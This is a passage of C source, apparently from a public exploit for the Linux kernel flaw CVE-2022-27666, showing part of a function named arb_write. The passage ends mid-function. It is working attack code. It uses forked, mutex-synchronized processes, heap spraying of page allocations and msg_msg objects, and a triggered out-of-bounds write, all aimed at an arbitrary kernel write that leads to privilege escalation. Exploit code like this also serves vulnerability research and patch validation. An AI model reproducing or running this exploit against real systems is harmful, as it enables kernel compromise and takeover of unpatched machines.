Function arb_write

CVE-2022-27666/exploit/exploit.c:1677–1743

arb write ---- try 8 times

}
// arb write ---- try 8 times
bool arb_write(void *target_addr, int size, void *fuse_adr) // target_addr - write address;       size - write size;        fuse_adr+8 - trigger page fault
{
  int fd_vul;
  int fd_msg;
  printf("[+] spraying msg for arbitrary write\n");
  initialise_shared(&two_loop);
  for (int i=0; i<=N_PROCS; i++)
    pthread_mutex_trylock(&two_loop->proc_mutex[i]);
  int id = N_PROCS;
  for (int i=0; i<N_PROCS; i++) {
    if (fork()==0) {                // sub-process will break & run outside code,  id - which process
      id = i;
      pthread_mutex_lock(&two_loop->proc_mutex[id]);
      break;
    }
    if (i==N_PROCS-1) {             // every main process hang there
      // hang main proc
      pthread_mutex_unlock(&two_loop->proc_mutex[0]);
      pthread_mutex_lock(&two_loop->proc_mutex[N_PROCS]);
    }
  }

  pagealloc_pad(0x100, 0x8000);   // spray 0x100 ring_buffer in 8-page

#ifdef KERNEL_DEBUG
  int debug = (PRINT_PAGE_ALLOC | PRINT_OOB_INFO | PRINT_PAGE_FREE_DETAIL | PRINT_MSG_DETAIL);
  ioctl(-1, 0x37778, &debug);
  printf("id %d started\n", id);
#endif
// 1. spray 2 continues 8-page pad
  fd_vul = pagealloc_pad(1, 0x8000);
  fd_msg = pagealloc_pad(1, 0x8000);
  msg_spray(SLAB_4k_OBJS_PER_SLAB * (SLAB_4k_CPU_PARTIAL) , PAGE_SIZE+32-SIZE_OF_MSG_MSGSEG, 1);  // spary 8*2 msg_msg in kmalloc-4k & kmalloc-32
// 2. free 2nd pad  & spray fuse msg_msg
  fuse_msg_spray(SLAB_4k_OBJS_PER_SLAB + 1, size, fuse_adr);  // spray 9 msg_msg   &    trigger page fault at (fuse_adr+8)     wait
  close(fd_msg);
  release_spray_4k_lock(SLAB_4k_OBJS_PER_SLAB + 1);           // let the 9 spray thread begin
  usleep(10000);

  if (id != N_PROCS)
  {
    pthread_mutex_unlock(&two_loop->proc_mutex[id+1]);
    pthread_mutex_lock(&two_loop->proc_mutex[id]);
  } else {
    for (int i=0; i<N_PROCS; i++)
      pthread_mutex_unlock(&two_loop->proc_mutex[i]);       // make all sub-process begin
  }
// 3. free 1st pad  && trigger OOB
  close(fd_vul);

  if (id != N_PROCS)
  {
    pthread_mutex_lock(&two_loop->proc_mutex[id]);
  }

  struct fake_msg_msg *fake_msg = (struct fake_msg_msg *)malloc(sizeof(struct fake_msg_msg));
  memset(fake_msg, 0, sizeof(*fake_msg));
  fake_msg->m_list.next = msglist_next;